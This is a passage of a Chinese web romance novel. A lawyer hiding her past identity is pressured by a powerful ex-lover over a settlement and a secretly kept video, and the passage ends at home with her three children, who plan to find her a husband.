来到洗手间,何眉问:“韩东平那个老畜生,占到你便宜没?” “没有。” 乔眠照着镜子,看到身上还罩着霍宴北的西装外套。 依稀还能闻到上面散发着一股幽淡的草木香。 这香,不是名贵的香水。 是霍宴北曾经眼睛失明那段时间,她四处求医问药,从一个老中医那里得来的中药熏香。 有安神明目的效用。 以前,霍宴北每晚睡觉时,她都会点上这种熏香。 祈祷对他复明有帮助…… 后来,他用习惯了。 她就求来了这个药方,自己买中药材配制成香。 没想到,这么多年过去了,他依旧在用这款香…… 精贵的布料,在指间一点点攥出褶皱。 她回过神来,让何眉帮她把办公桌柜子里的备用衬衫拿来换上。 对着镜子,把头发重新梳理好后,将那件男士西装搭在臂弯处,招呼何眉,“回去吧。” 何眉挎上她的胳膊,一路上喋喋不休:“温董接待的那位贵客,可是霍氏财团总裁霍宴北,那颜值身材,简直太顶了!人还很绅士,哇啊,好想拥有哦!” “……” 乔眠没有搭话。 霍宴北出身名门,颜值身材绝美,无论走到哪儿,都是最瞩目的存在。 这样的赞叹声,六年前,她已经听的太多了…… 回到工位后,把西装外套装进一个袋子,放在柜子里,想着找机会还给他。 何眉凑过来蛐蛐:“小乔,你说,霍总那样的大人物,怎么会莅临我们这种小律所?” “不清楚……” 乔眠有些发慌。 他该不是知道,她私留了一份视频,找来了吧…… 正惴惴不安时,韩主任过来找她,“小乔,跟我到会议室来一下。” 第12章 他脱下外套将她紧紧裹着 “……” 乔眠心里更慌了。 隐约感觉不妙。 会议室在三楼。 上楼梯时,韩东平语气严肃的低声提醒,“小乔,我是律所的二把手,你的前程就捏在我手里,什么话该说,什么话不该说,你得拎清楚。” 这是威胁她,别妄想到温董面前告状。 事实上,她即便告状,最后损伤的还是她自己的利益。 除非,她告他职场性骚扰…… 但是,她没有跟他鱼死网破的资本。 毕竟,她还想在这个圈子里混。 “听懂没?” 见她不吱声,韩东平不悦地瞪她一眼。 乔眠闷声回了一句:“知道了。” 进入会议室后,一眼就看到霍宴北坐在会议桌主位。 一身剪裁合体的三件式套装,眉眼深邃立体,像一个高高在上的王,气质清冷卓绝。 双手交叉与怀,一派矜贵之姿,面前放着一台笔记本电脑。 微侧着头,和坐在一旁的特助陈珂交谈着什么。 举手投足间,透着上位者的威严。 温董坐在对面,正在翻阅一份厚厚的合同。 韩东平和乔眠依次落座。 余光里,感受到霍宴北锋锐的目光落过来,她心虚的垂着眼睫,没敢抬头。 霍宴北深邃平静的目光,隔着一段距离,打量着乔眠。 不同于那晚在医院,洗尽铅华后清纯的素颜,她今天化了妆。 更显娇丽。 白色中式小立领衬衫,包裹着细柔的腰,丰盈的胸。 绾着低马尾。 发尾柔顺垂在后腰。 鬓边细软的碎发慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 很是恬静温婉。 这般招眼。 怪不得招男人觊觎。 不知为何,他竟是好奇她那废物男朋友到底长什么样…… 这时,温董阅完合同,满脸堆笑的起身:“霍总能够把一些业务交由我们所代理,真是我们荣华律所的荣幸啊,您放心,我们一定不会辜负您的期望。” 霍宴北似笑非笑:“这还得益于韩主任的功劳。” 被点名,韩东平紧忙起身,朝霍宴北颔首,“为霍总效劳,是鄙人的荣幸。” 乔眠一脸吃惊。 霍氏……要和她们律所合作? 霍氏集团随随便便一个指头缝里漏出来的小项目,都是上千万的代理费。 京市比荣华大、且有名气的律所,不在少数。 即便合作,也落不到荣华的头上。 除非…… 荣华给了他想要的…… “乔律师,似乎有意见?” 男人淡漠的一句话,打断了乔眠的沉思。 她勉强挤出一抹浅笑,“怎么会,霍氏能与我们律所合作,是好事……” 霍宴北眼神变得意味深长。 话却是对温董说的。 “温董,听说,韩主任交给你的视频,出自于乔律师?看来,我最应该感谢的是乔律师才对。” 一句话卖了温董和韩东平。 温董脸上露出一抹尴尬而不失礼貌的哂笑:“乔律师是韩主任一手带出来的徒弟,是个不错的人才。” 听到这里,乔眠全明白了。 她皱眉,看向韩东平。 韩东平和她对视了一下,又心虚的快速错开视线,咳嗽了一声。 果然,是韩东平出卖了她。 还把视频给了温董。 温董又献给了霍宴北。 想必还答应压下哑女案。 怪不得韩东平让她不再插手这个案子。 原来,短短两天时间内,上面已经和霍宴北达成了利益交换。 乔眠愤懑。 权贵还真是能够左右一切! 接下来,温董签字,双方正式达成合作。 “霍总,我会尽快成立律师团队,进驻霍氏展开工作。” 说到这里,他推荐,“韩主任是我们所能力最强的律师,由他……” “刚才温董不还说乔律师是个人才?” 霍宴北淡声打断。 温董听出霍宴北是否了韩东平的意思,立马附和道,“是啊,乔律师虽然从业年限不长,但做事认真,能力突出,是我们所的优秀骨干。” 霍宴北点了下头。 陈珂开口,“温董,霍总还有事,先走了。” 温董紧忙站起来,躬身颔首:“霍总日理万机,不敢再耽搁您的时间。” 霍宴北嗯了一声,缓缓起身,迈着大长腿,出了会议室。 温董和韩东平,小心翼翼的将人陪送至电梯口。 直至电梯门合上。 温董笑着拍拍韩东平的肩膀,“韩主任,若不是你把乔眠给你的视频第一时间交给我,我还搭不上霍总呢,霍总松松指头缝,就送来了一千万的业务呐,这次,你功劳不小啊。” 韩东平恭维:“韩某也是仰仗您的栽培。” “嗯,不错,也不枉我让你坐在这个位置上。” 说到这里,温董叮嘱,“哑女那个案子,牵扯到霍总的小舅子,务必妥善办好。” “您放心,我已经办妥了。” 回到办公室后,韩东平忍不住问:“霍总为什么点名要乔眠?所里,论资历,比她优秀的律师很多,怎么着也排不上她吧?” 韩东平不想放人。 乔眠可是他惦记很久的小肥羊。 这还没吃上呢,就要跑了。 他怎能甘心? 温董和韩东平共事多年,怎会看不出他心里的小算盘。 当即,警告他,“跟女下属暧昧不清的流言,传到我耳朵里,可不是第一次了,韩东平,你给我收敛点!要不是念在这次你有功的份上,少不得处分你。” “是,温董,我以后一定注意影响。” “对了,小乔呢?” 两人这才发现身后跟着的乔眠不见了。 …… 一楼。 乔眠从楼梯上跑下来,拦住了霍宴北。 望着眼前呼吸带喘,小脸绯红的女人,霍宴北嗤笑:“乔律师找过来,是想谈谈自己之前是怎样卧底酒吧,拍视频取证的?” 说罢,修长的手指蓦地掐住女人的下巴,语气冰冷:“那晚,乔律师签下和解书,一副受尽委屈的模样,暗地里却留了一份视频,乔眠,从来没有人敢耍我,你胆子真够大的。” 乔眠被他周身凛冽的气场吓了一跳,急忙推开他的手,后退一步,将手里的一份资料递给他:“霍总,私留视频,我跟您道歉,但是,这个案子跟您小舅子有关……” 还未说完,霍宴北挥手,将她手上的资料打翻。 第13章 被他抵在墙上逼问:“你是阿妩是不是?” 哗啦一声。 十几张纸飘落在地。 紧接着,他冷漠的声音传来:“乔律师,我明确告诉你,这个案子,还有视频,从温董签下合同为止,已经画上了句号。如果你想逞个人英雄主义,搭上你们荣华律所的话,随便。” 说着,高括的身体弯下来,眉眼和她齐平,一字一句透着警告:“别忘了,你马上就在我眼皮子底下做事了,你摆我一道这笔账,我会慢慢跟你清算。” 乔眠眼睛泛红的看着他:“我不会去的。” 男人语气嘲弄:“不去,留在律所,享受老男人的骚扰?” “我……” 乔眠窘红了脸。 不过,经他提醒,觉得这是脱离韩主任骚扰的绝佳机会。 可是,待在霍氏,在霍宴北手底下工作…… 不,更危险! 乔眠弯腰,将地上的资料一一捡起来:“霍总,我不会去霍氏的。” 霍宴北冷笑,“嘴硬,还真是律师的职业病。” 说完,擦过她的肩膀,抬步离开。 这时,一个穿着素净的年轻女孩,朝乔眠走过来。 女孩是哑女案的当事人。 叫林霜。 之前在宋沉的酒吧做推酒员。 被宋沉的狐朋狗友黎少、沈少猥亵欺凌…… 看到林霜,乔眠快步迎上去,面露愧疚的跟她打手语:【对不起,林霜,你的案子,由我们主任代理了,不过,你放心,我会想别的办法帮你。】 林霜摇头,用手语回道:【不必了,乔律师,我已经撤诉了。】 【为什么啊?】 【我根本斗不过那些富二代,我现在出门被人跟踪,半夜有人砸我家玻璃、门上泼狗血,我真的承受不住压力了。】 表述到这里,林霜顿了顿,从包里拿出一个厚厚的信封,【韩主任周六找过我,给了我一笔钱……】 乔眠皱眉。 没想到韩东平手脚这么快…… 可也太黑心了。 信封里顶多两万块钱。 这点钱就想平事? 她替林霜不值:【你难道不想为自己讨一个公道?不想看到那些欺辱过你的禽兽,受到法律的制裁吗?】 林霜眼睛含泪:【我家是农村的,爸爸早些年在工地上出事死了,妈妈现在患了乳腺癌,卧床不起,弟弟妹妹在上学……乔律师,我需要这笔钱。】 【……】 乔眠还想再劝,却又无力的垂下手。 是啊,对于挣扎在社会底层的弱势群体而言,争一口气,远没有钱来的实际。 何况,林霜是听障人士,原生家庭还如此穷困。 这点,她感同身受。 她知道,没钱的可怕。 所以,她没有理由站在法律从业者的角度,左右当事人的决定。 想到这里,她从口袋掏出一张卡,递给林霜,【这是那些畜生的家属给你的十万块钱赔偿金,你应得的。】 之前,她本想等案子结束,把这十万还给霍宴北。 但是,现在林霜已经决定撤诉,那么这笔钱,就当是霍宴北这个禽兽家属,给予受害人的补偿。 他小舅子宋沉也参与了欺凌林霜。 还录了视频,放到了网上。 更无耻! 【乔律师,谢谢您,帮我争取到这笔赔偿金。】 林霜激动的流着眼泪,朝她鞠了一躬。 乔眠急忙扶起她,【你以后要回老家吗?】 【嗯,我今天来,也是跟您告别的,谢谢您,乔律师。】 林霜上前拥抱了她一下后,抹着眼泪离开了。 乔眠叹息一声。 转身准备上楼时,余光里,瞟到一抹熟悉的高大身影。 她定睛一看,吓了一跳。 是霍宴北。 他居然没走…… 此时,正目光灼灼的盯着她。 就像一个猎人,突然发现一只小野兽,眉眼间透着极危险的气息。 想到刚才自己和林霜用手语交流,心里咯噔一声。 他该不是起疑了吧…… 毕竟,他对她曾经打手语的习惯动作,尤为熟悉…… 想到这里,她慌措的避开他的目光,转身就逃。 就在她即将进入电梯时,霍宴北携着凛冽的气场,身高腿长的快步走过来。 伸手紧紧扣住她的手腕,将她拉至走廊尽头的角落,重重抵在墙上。 修长的手指捏住她的下巴。 乔眠瞪大了眼瞳。 还未来得及作出反应,小脸在他沁着寒意的指间被猛地抬高。 他像在检查一件物件,看尽她脸上每一寸肌肤。 一根汗毛都不放过。 男人深潭般的黑眸搅弄着潮浪,低哑的嗓音带着一丝轻颤:“你是阿妩,是不是?” 他的脸距离她很近,呼吸间喷薄而出的滚热气息,拂过她面颊。 穿透她的皮肤,激起层层战栗。 乔眠的脸血色褪尽。 整个人都麻了。 身体僵硬的动弹不了。 被困在他高大的身体和墙壁之间,她惶恐到无法呼吸。 整个身体都在颤抖。 “我……” 她极力调整着呼吸,声音却透出一丝怯懦的不自信:“我不是什么阿妩……霍先生认错人了。” 语落,推开捏痛她下巴的大手,转过身,抬步就走。 然而,刚迈出一步,却被猛地拽了回来。 男人宽厚滚热的大掌,紧紧扣住她的双肩,再次将她推到了墙壁上。 力气很大。 她细弱单薄的后背,砰一声,重重撞到墙上。 乔眠疼得眼眶泛红。 可男人丝毫不怜惜,弯着腰,盯着她的眼睛,情绪激动的哑声质问,“那你为什么会手语?” 乔眠深吸一口气,让自己极力平静下来,“会手语,很奇怪吗?” 霍宴北掌心拢紧,似能随时将她一双肩膀捏碎:“会手语不奇怪,可是,你打手语的习惯动作和我妹妹阿妩一模一样,就很奇怪。” 她和阿妩都是学法律出身。 会手语。 A型血。 同样有凝血障碍症。 这些都是巧合吗? 不,他不信! 此时,霍宴北焦躁的情绪已经达到了顶峰,好像下一秒就要狠狠把她揉进骨子里。 他想她。 也恨她。 恨她狠心抛下他六年! 他想把她亲哭。 想让她求饶。 偿还他这六年饱受愧疚和思念之苦的折磨。 “阿妩。” 他唤着她的名声,缓缓伸手,朝她脸上抚去时,乔眠惊惶的用力推开。 她就知道,霍宴北心思慎密。 一旦让他嗅到一丝不同寻常,他就会怀疑、求证。 此时,他好像已经认定她就是霍妩。 他和六年前一样偏执! 第14章 他朝她的唇深深吻下去 她不怕他查。 因为,无论他怎样查,查到的也只是真正的乔眠的信息。 她只是借用了乔眠那个女孩的身份。 乔眠尽量稳住心底的惊慌,神色清冷:“霍先生,您不信的话,可以去查,我真的不是您妹妹阿妩。” “阿妩……” 霍宴北像是魔怔了,固执却又深情地唤着她的名字,“你觉得哥哥很好骗吗?” 他刚才看得很仔细。 她打手语时的习惯动作……和阿妩一模一样! 尤其是,此时,望着女人那双和阿妩几乎一模一样的眼睛,仿佛阿妩就活生生的站在他面前。 愧疚、怨恨、思念,像洪水般将他的理智吞噬。 手上用力,禁锢住她的下颌,情绪失控的朝她的唇亲了下去。 眼看着霍宴北就要亲上她的唇,乔眠猛地偏过头。 男人滚热的薄唇,蹭到她面颊,最后停在稀薄的空气中。 乔眠呼吸一滞。 扬手,朝着他的脸打了一下。 声音带着不易察觉的哽咽:“霍先生,请自重!” 这一巴掌,没有精准打在脸上,却刮到了他线条凌厉的下颌骨上。 他的下巴被她指甲刮破,渗出淡淡一条血痕。 充斥着血腥味的刺痛感,却让男人阴湿的情绪愈发崩溃。 猩红潮湿的眼眸,盯着乔眠那张因愠怒而涨红的小脸,低喘着质问:“那你告诉我,你为什么会手语?你到底是不是我的妹妹阿妩?” 这些年,所有人都告诉他,阿妩死了。 可是,他从未放弃过找她! 乔眠是他这些年,找过的那些女孩中,最像阿妩的一个…… 刚才看到她打手语的一幕,甚至确定,她就是阿妩。 看到这样发疯的霍宴北,听着他说出‘妹妹’两个字时,乔眠每一根神经都是疼的。 更多的是憎恶。 脑海里不禁再次回想起,他曾经说过的那些话。 怪膈应的…… 只拿她当妹妹…… 不会娶一个聋哑人…… 她不懂。 霍宴北既然嫌弃她是个聋哑人,只把她当妹妹,六年前,为何将她禁锢在身边,夜夜在她这个妹妹身上做尽龌龊事。 又为何提议,让她这个妹妹,为他生孩子? 又为何不信她,认定了是她剪碎了宋蔓的订婚礼服,又狠心当众打了她一巴掌? 更是为何,在那场大火中,踩着她的肩膀,只带着宋蔓逃生? 明明,他说过,“阿妩,你等我,我马上回来救你。” 可是,她站在窗前,被浓烈的黑烟呛得肺腑生疼,等啊等,等到死里逃生出去,看到的却是,他坐在救护车上,紧紧抱着宋蔓的一幕…… 那时,她才明白,他根本没想过救她…… 毕竟,在他眼里,那天,她毁了他和宋蔓的订婚宴,就是一个罪人。 应该以死赎罪。 可是,六年后,他已经结婚了,又为何寻她? 源自于内心一声声撕心裂肺的呐喊,快要将乔眠的心绞碎。 眼泪一颗一颗砸下来。 她抬手,倔强的用力拭掉。 她知道,如果给不出一个合理的解释,他还会纠缠不放。 乔眠推开他,不愿意靠近他一点:“霍先生,我不是你找的妹妹,我会手语,是因为我是沪城孤儿院长大的,手语是在福利院学的。” “沪城孤儿院……” 阿妩也是孤儿,但是,七岁之前,待的是京市嘉县孤儿院。 虽然,这一点,对不上,但是,霍宴北眼中依旧充满疑惑。 “你是学法律的,有凝血障碍症,A型血,还会手语,这些都和我妹妹……” “霍先生。” 乔眠打断他,“听闻霍先生有一个死去的妹妹,是听障人士,对吗?” 霍宴北黯淡的眸底闪过一丝幽光:“你怎么知道?” 乔眠苦涩扯了扯嘴角:“关于霍家小姐的一些新闻,即便现在,也能在网上搜出来,据闻,六年前,她就已经死在了一场大火中……” 说到这里,她指了指自己的耳朵和嘴巴,“可是,霍先生,我不是听障人士,我耳朵能听见,也能开口说话,我和你妹妹之间这么直白的区别,霍先生却硬把我错认成她,难道不是在自欺欺人吗?” 霍宴北的心就像被狠狠戳了一刀。 混乱的理智一点点清明。 高大健硕的身躯晃了一下。 他靠着墙,用力捏了捏闷痛的眉心。 是啊,阿妩是听障人士。 乔眠不是。 他又魔怔了…… 可是,她真的很像阿妩…… 两人安静地站着。 乔眠没敢走,怕又刺激他发疯。 沉默了数秒后,霍宴北神情恢复之前的清冷,嗓音微哑的道歉,“乔律师,抱歉,刚才是我冒犯了。” 乔眠呼吸微缓,抬步就走时,男人一双手臂,忽然撑在她身体两侧的墙上。 形成一个包围圈。 她逃无可逃,只得又看向他:“霍先生,您还有什么事吗?” 霍宴北执着的又问:“乔律师,即便你不是我妹妹,可是……我们以前应该见过,是不是?” 他记忆力很好,见过的人,都会有印象。 唯独乔眠,对她的脸没有任何印象,却有一种特别的熟悉感。 他一定在哪儿见过她。 乔眠用力掐紧手心。 钝痛,刺激着感官神经,让她保持平静,一字一顿从牙缝中溢出三个冰冷的字眼:“没见过。” “那你紧张什么?” 她眼神有躲闪,鬓发沁着薄汗,惊慌激动的像一只应激的小猫,这些,他都看在眼里。 但是,乔眠淡声解释:“我紧张是被霍先生吓得,光天化日,跟您这样的大人物纠缠不清,霍先生不在乎影响,但我怕遭人非议。” 说罢,扫了一眼时不时往这边张望的前台。 还有一个正在拍照的保洁阿姨。 怕是过不了一会儿,她和霍氏总裁暧昧不清的流言,就会传遍整个律所。 霍宴北也看到了,这才退开一些距离。 冷静下来后,却跟她清算起另一笔账。 “乔律师很大方,把从我这里骗来的十万快钱,都给了那个哑女,这点,不该给我个解释吗?” 他突然神情严肃的转换话题,乔眠跟不上节奏的愣了一下后,反唇相讥:“您小舅子宋沉,协同黎少、沈少,对那姑娘做了什么事,您最清楚。现在人家姑娘撤案了,您作为宋沉的家属,给予受害人一些赔偿金,不应该吗?” 第15章 被他狠狠拿捏住了 “既然乔律师慷他人之慨,那么,你违约,私留视频,骗了我十万,这钱,就由你来还。” “你……” 乔眠没想到他倒打一耙,“可你最后从温董那里拿到了原版视频,不是吗?” “你不也说了,我是从温董那里拿到的原版视频,这和乔律师你有关系吗?” “……” 乔眠气得原本泛红的眼睛更红了。 只见他拨了一个电话,很快,陈珂从走廊另一头走过来。 打开笔记本电脑,将一段视频点开:“乔律师,这是您那晚在病房收下十万块钱的视频证据。” 末了,又递过来一张她签过字的和解协议,“协议上明确过,不得私留视频,若不然就是违约,您需十倍赔偿。” 乔眠接过来,仔细看完后,手都是抖的。 那晚本就是假意签的和解书,根本没有逐条细看内容…… 因为,她太自信。 认为只要手里还攥着视频,代理着哑女案,就没人敢动她。 但是,万万没想到,她被律所老大出卖。 案子也丢了。 没了这些护身符,她收钱的视频,和这纸协议,就成了被拿捏的把柄。 如果霍宴北报复,把她收钱的视频曝光…… 乔眠惊悚的不敢去想。 手心沁出一丝薄汗。 “乔律师,是还钱,还是求饶,你慢慢想,不奉陪了。” 男人冷淡撂下一句话,转身就走。 乔眠追上去,伸手拽住他的衣袖:“霍总,您想让我怎么做?” …… 咖啡厅。 陈珂将一份和解协议,推到乔眠面前。 她拿起一看。 是那晚在医院,顾淮年让她签字,她执意没签的那份和解协议。 乔眠抬眸,看着优雅抿着咖啡的男人,“为了保全您小舅子,霍总还真是煞费苦心。” 一千万的业务代理,轻易就给了她们律所…… 可以想象,他对妻子宋蔓的爱护程度…… “签了,那十万块钱不再追究,收钱的视频送你。” 霍宴北清冷的声音传来。 乔眠咬牙,“我签,但是,我需要把十万已经两清,写进补充协议里。” “可以。” 霍宴北看了一眼陈珂。 陈珂会意,把笔记本电脑放在乔眠面前,“乔律师,你自己写补充协议就行,等会我打印出来,你签字。” 乔眠点头。 不出三分钟,起草了一份补充协议。 陈珂看完后,对霍宴北说:“没问题。” 霍宴北嗯了一声。 陈珂将优盘取下,出去打印。 卡座里只剩下两个人。 乔眠不自在的低着脑袋,和他独处,又有些紧张。 “为什么不愿来霍氏?” 霍宴北出声,打破了沉默。 乔眠不得不抬眸看向他,“我得罪了霍先生,在您眼皮底下做事,怕讨您嫌。” 男人耐人寻味的挑了下眉,没有说什么。 很快,陈珂回来了。 把协议整理好,递给乔眠。 乔眠签字后,陈珂当着她的面把视频删除了。 不过,她还是担忧,问了一句,“霍先生应该不会留有备份吧?” 霍宴北:“有。” “你……” 他玩味冷笑:“这招,跟乔律师学的。” “……” 她倒无言以对了。 他和六年前一样,有仇当场就报。 乔眠呼吸灼乱,“您到底还想怎样?” 男人语气漫不经心:“乔律师,我现在对你的信任度为零,谁知道你到底还有没有私留其他视频证据,所以,只有把你放在眼皮底下,我才安心。” 乔眠皱眉:“这就是您点名我去霍氏的真正原因?” 男人没回答她,只是离开时,丢下一句,“对了,乔律师,你还欠我钱,记得还。” “……” 乔眠想了许久,才反应过来,他说的是那晚帮她付的蛋糕钱。 三十九块九。 果然,他是个记仇的人。 这点钱都要追讨回去! 把她弄到身边,还不得报复死她? 可若她不去霍氏,万一他真的发疯,把她收钱的视频曝光怎么办? 乔眠有一种天塌的感觉。 …… 劳斯莱斯汇入车流中。 陈珂看了一眼后视镜,“霍总,乔律师摆了您一道,您一招还回去,逼得她不得不签了那份和解协议,这下,宋沉少爷就能出来了,您真高明。” 霍宴北想起刚才乔眠生气时的模样,扯了一下唇:“之前确实小瞧了她。” “是啊,如果不是韩主任自爆,我们怎么也没想到,她化妆成舞女,去宋沉少爷的酒吧,根本就是去卧底取证的,我看她不像律师,做个卧底记者倒是手拿把掐。” 说到这里,陈珂笑了一下:“您点名让她进霍氏,不管她手里还有没有其他证据,她都不敢再生事端。” 其实,这次很惊险。 如果哑女案诉成功,宋沉沾染违禁品的视频再流出去,宋家就会陷入舆论中。 以宋家和霍家深度捆绑的利益关系,必然也会影响到霍氏股市。 对于霍氏这样庞大的上市集团,花边新闻或是打架生事,都影响不大。 但是,一旦涉及违禁品,就是踩了红线。 股市一旦跌宕,一夜之间,市值蒸发几十亿都有可能。 这就是霍总极力保全宋沉少爷的根本原因。 “不过……” 陈珂忽然想起什么,说了一句,“像乔眠这样的手语律师,倒是稀缺。” 闭目养神的男人缓缓睁开眼睛。 脑海里再次映现出乔眠打手语时的动作。 “陈珂,你说有没有可能……” 霍宴北垂眸,眼神迷茫的盯着腕上那条桃核红绳手链:“阿妩真的没死……” 只是不愿见他。 毕竟,六年前,他把她一个人丢在火场里…… 她当时一定很害怕,很委屈。 怨恨极了他。 不,阿妩很爱他。 即便他做错了,她也不舍得怨他。 毕竟,阿妩心软。 除非,她真的死了…… 可是,现在乔眠出现了。 她跟阿妩有太多共同之处。 如果乔眠真的是阿妩,可她又不是聋哑人。 单是这点,又无法圆通。 复杂的情绪,像沙砾一样硌着他的心。 他低着头,按了按忽然开始闷疼的脑袋。 因极力隐忍,面颊变得苍白,额上青筋一点点凸显。 “霍总,您的头痛症又犯了吗?” 陈珂将车停在路边。 第16章 阿妩一定没死 “霍总,您的头痛症又犯了吗?” 陈珂将车停在路边。 取出一个药盒,倒出几粒药丸,送到霍宴北面前,“医生叮嘱过,您这病,最忌多思多想。” 霍宴北吃完药,缓了一会儿后,头疼的症状减轻一些。 车重新开出去后,陈珂抖着胆子劝道:“霍总,当年连消防员都确认过,霍妩小姐没有救出来,您何苦一直困在过去……” “我宁愿她活着恨我,也不愿意相信她死了……” 霍宴北颓废的倒靠进椅背里。 修长的大手搭在眉眼上,遮住腥红眼梢溢出的晶莹湿润。 他像一头即将死去的野兽,语气轻弱的说了一句,“阿妩一定没死……” 陈珂叹了一声。 霍总对霍妩小姐的死,一直心存愧疚。 每次碰到像霍妩小姐的女孩,都会关注、接近。 想尽办法求证。 哪怕警方已经给霍妩小姐办了死亡证明,但是,他仍旧执拗的满世界搜罗跟霍妩小姐相像的女孩。 陈珂猜测,霍总点名乔律师进霍氏,一定程度上,也是因为她有几分像霍妩小姐的缘故…… …… 半个多小时后。 劳斯莱斯停在警局大门外。 宋沉从警局走出来。 只不过在看守所蹲了三天,整个人瘦了一大圈。 头发乱糟糟的。 脸上还挂着彩。 再没有了往日里桀骜张狂的气焰。 看到霍宴北时,扯着哭腔的嗓子喊了一声‘姐夫’后,快步走过去,就要送上一个熊抱时,男人侧身避开。 “上车。” 声音淡漠的没有感情。 宋沉也不在意。 他姐夫对谁都是冷冰冰的。 上车后,他就开始告状,“姐夫,你可算来救我了,你知道我这几天在里面是怎么过的吗?” 说着,指了指脸上的淤青,“里面有两个杂毛敢打我,等哪天非把他们揪出来都弄死!” 霍宴北将车窗降下,点了一支烟,慢条斯理的抽着,没理他。 宋沉也习惯了姐夫的冷性子,缠着他问,“姐夫,听警察说,乔眠那个女人签了和解书,我才出来的?” “嗯。” “这个死女人,算她识相。” 宋沉咬着后牙槽:“不过,她害我酒吧被停业整顿,又害我蹲号子,这个仇,我非……” “她是律师,躲远点。” 男人打断他。 “律……律师?” 宋沉反应了好一会儿,明白过来,“那她之前在我酒吧兼职,就是为了偷拍视频?这个贱女人!我……啊!” 还未说完,宋沉惊叫一声。 霍宴北指间还未熄的烟,直戳戳的碾灭在宋沉的手背上。 “姐……姐夫!疼啊!” 宋沉吱哇乱叫。 霍宴北松手后,吩咐陈珂,“让他滚下去。” “是。” 很快,陈珂就将车停下。 宋沉甩着被烫出泡的手,望了一眼车窗外面,“姐夫,这是高架,您忍心把我扔在这儿?” “要我踹你下去?” 男人本就严肃的俊脸多了一分不耐,宋沉怂的缩了下脖子,打开车门下车了。 “姐夫,我……” 他还想说句软话,劳斯莱斯已经疾驰而去。 “姐夫,等我姐从国外回来,我非得告你的状!” 宋沉瞪着远去的车尾灯,气得踹了一脚护栏。 却疼得龇牙咧嘴的叫唤。 他打开手机,给姐姐宋蔓发了一条微信语音消息。 【姐,救命啊!你再不回来,我姐夫的魂,就被一个死女人勾走了!】 他可没忘记,那天在警局,霍宴北抱着那个贱女人跑出调解室的一幕。 不知为何,他总觉得姐夫似乎很紧张那个女人。 反正,这一切,都是那个乔眠害得! 他怨恨的牙都呲出火星子了。 她是律师又怎样? 他早晚得报复回来! 如果她真敢勾引他姐夫,非搞死她! …… 傍晚六点。 乔眠把孩子们从幼儿园接回来。 本来想着躺在床上眯了一会儿,就去做晚餐的。 没想到醒来时,已经快八点了。 孩子们还饿着肚子呢。 她着急忙慌的从床上下来。 没想到,一出卧房,却见三个小宝正在厨房忙活做饭。 乔慕城正将一盘煎好的鸡蛋摆放在餐桌上。 而乔慕野,站在凳子上,正围在灶台煮挂面。 乔慕心正拿着一把菜刀,两只小手并用,笨拙的切着西红柿。 旁边沥水篮里放着洗好的青菜。 三个小宝井然有序的忙碌着。 乔眠看了一阵心疼。 她急忙走进阳台那间狭窄的厨房,将乔慕心手中的菜刀拿下来,单手把她从凳子上抱下来。 “心心,拿刀很危险,小心割伤自己哦。” 说罢,又把乔慕野从凳子上拎下来,:“小野,以后妈妈来做晚饭就行,你还小,别烫伤自己。” 乔慕野:“哥哥说,妈妈最近特别累,让妈妈多睡一会儿,再说,做晚餐很简单的。” 说着,指了指锅里沸腾起来的面条,“妈妈,你看,我煮的面没有坨哦。” 乔眠鼻尖发酸。 背过身去,悄悄拭去眼角沁出的湿润,低着头,把火关掉。 然后,把面条盛出来,分装进四个碗里。 又炒了一个西红柿卤子,将四碗热汤面,一一端到餐桌上。 看着三个小宝吃得津津有味,她认真嘱咐道:“以后妈妈会每天按时给你们做晚餐的,你们还小,家务活不需要你们做哦。” 乔慕城将自己那份鸡蛋拨到妈妈碗里:“乔眠女士,你都累出熊猫眼了,就会逞强。” 乔慕心蹭进妈妈怀里:“妈妈,我们真的可以照顾好自己的。” 乔慕野将自己那杯牛奶推到妈妈面前:“对呀,妈妈,我们不仅会做饭,还会洗衣服呢。” “老师还说,在家要帮家长分担家务,做一个懂事孝顺的好孩子。” 看着孩子们一个个这么懂事,乔眠心里酸涩极了。 同时,驱使她更要努力工作赚钱。 想到这些,她偷偷抹了一把眼泪。 吃完饭后,她换了一身男款黑色冲锋衣套装。 版型又肥又大,将凸显女人特征的身段包裹的严严实实。 戴着黑色头盔,黑色口罩。 还有挡风眼镜。 全副武装,只露出几缕鬓发。 如果不开口说话,以为是男生。 她只要晚上送外卖,都会乔装成男生,这样能避免不少麻烦。 “妈妈,你出去送外卖能不能带上我呀?我可以帮你一起送。” 乔慕心问。 第17章 对他还留了一手 紧跟着,乔慕野也举手示意,“我跑的快,我也要去。” 乔慕城抿嘴,“别帮倒忙,电动车超载,如果被交警叔叔抓到,还要罚钱,那妈妈一晚上岂不是白干活了?” 乔眠揉了揉乔慕城的脑袋,表示对他的话赞同。 而后,蹲下身体,分别捏了捏乔慕野和乔慕心的小脸蛋,“乖哦,妈妈一个人不累的,你们在家要听哥哥的话哦。” “嗯,好吧。” 乔慕野和乔慕心点点头。 乔眠起身,从抽屉里拿出电动车钥匙,走到门口时,转身叮嘱,“记住妈妈叮嘱你们的安全注意事项哦。” 乔慕城扁嘴,“不爬窗,不玩火,不碰煤气,不给陌生人开门,遇事联系不上妈妈一律110,我们都记住了。” 乔眠淡淡笑了笑,出门走了。 乔慕城望着妈妈出门的背影,攥着小拳头,幽亮的眼睛渐渐地红了。 “妈妈好辛苦……” 乔慕野低头耷脑:“我想快点长大,以后照顾妈妈,不让妈妈辛苦了。” 乔慕心撇了撇嘴,一副快要哭出来的样子,带着鼻音:“如果爸爸在就好了。” 乔慕城皱眉:“爸爸抛弃了妈妈和我们,我们不需要渣男。” “就是。” 乔慕野朝妹妹额头上拍了一下,“千万别在妈妈面前提爸爸,妈妈会哭的。” 乔慕心撅嘴:“知道了……” “妈妈值得更好的叔叔心疼。” 说到这里,乔慕城提议,“妈妈一个人照顾我们太辛苦了,我们要给妈妈找一个对妈妈好,又能照顾好我们的有钱叔叔。” 乔慕野附和点头:“只有钱也不行,重要的是得人品好,若不然,他以后虐待我们怎么办?” 乔慕心举手,“颜值也得高,要是找一个丑叔叔当我们爸爸的话,我会吃不下饭的。” 乔慕城和乔慕野无语的瞅她一眼,“长得太好看的男人,会被别的女人惦记的,万一对妈妈不专一怎么办?” “是哦……” “那我们去哪儿给妈妈找一个好丈夫,给我们找一个好爹呢?” 乔慕城摸着下巴,认真思索之后,来了主意:“我们帮妈妈征婚吧。” 乔慕野:“网上征婚需要身份证注册吧。” 乔慕城一听,从玄关上取下妈妈的包,准备从里面翻找身份证时,却瞟到一张质地昂贵的烫金名片。他好奇的拿在手里反复看了看。 弟弟妹妹也凑了过来。 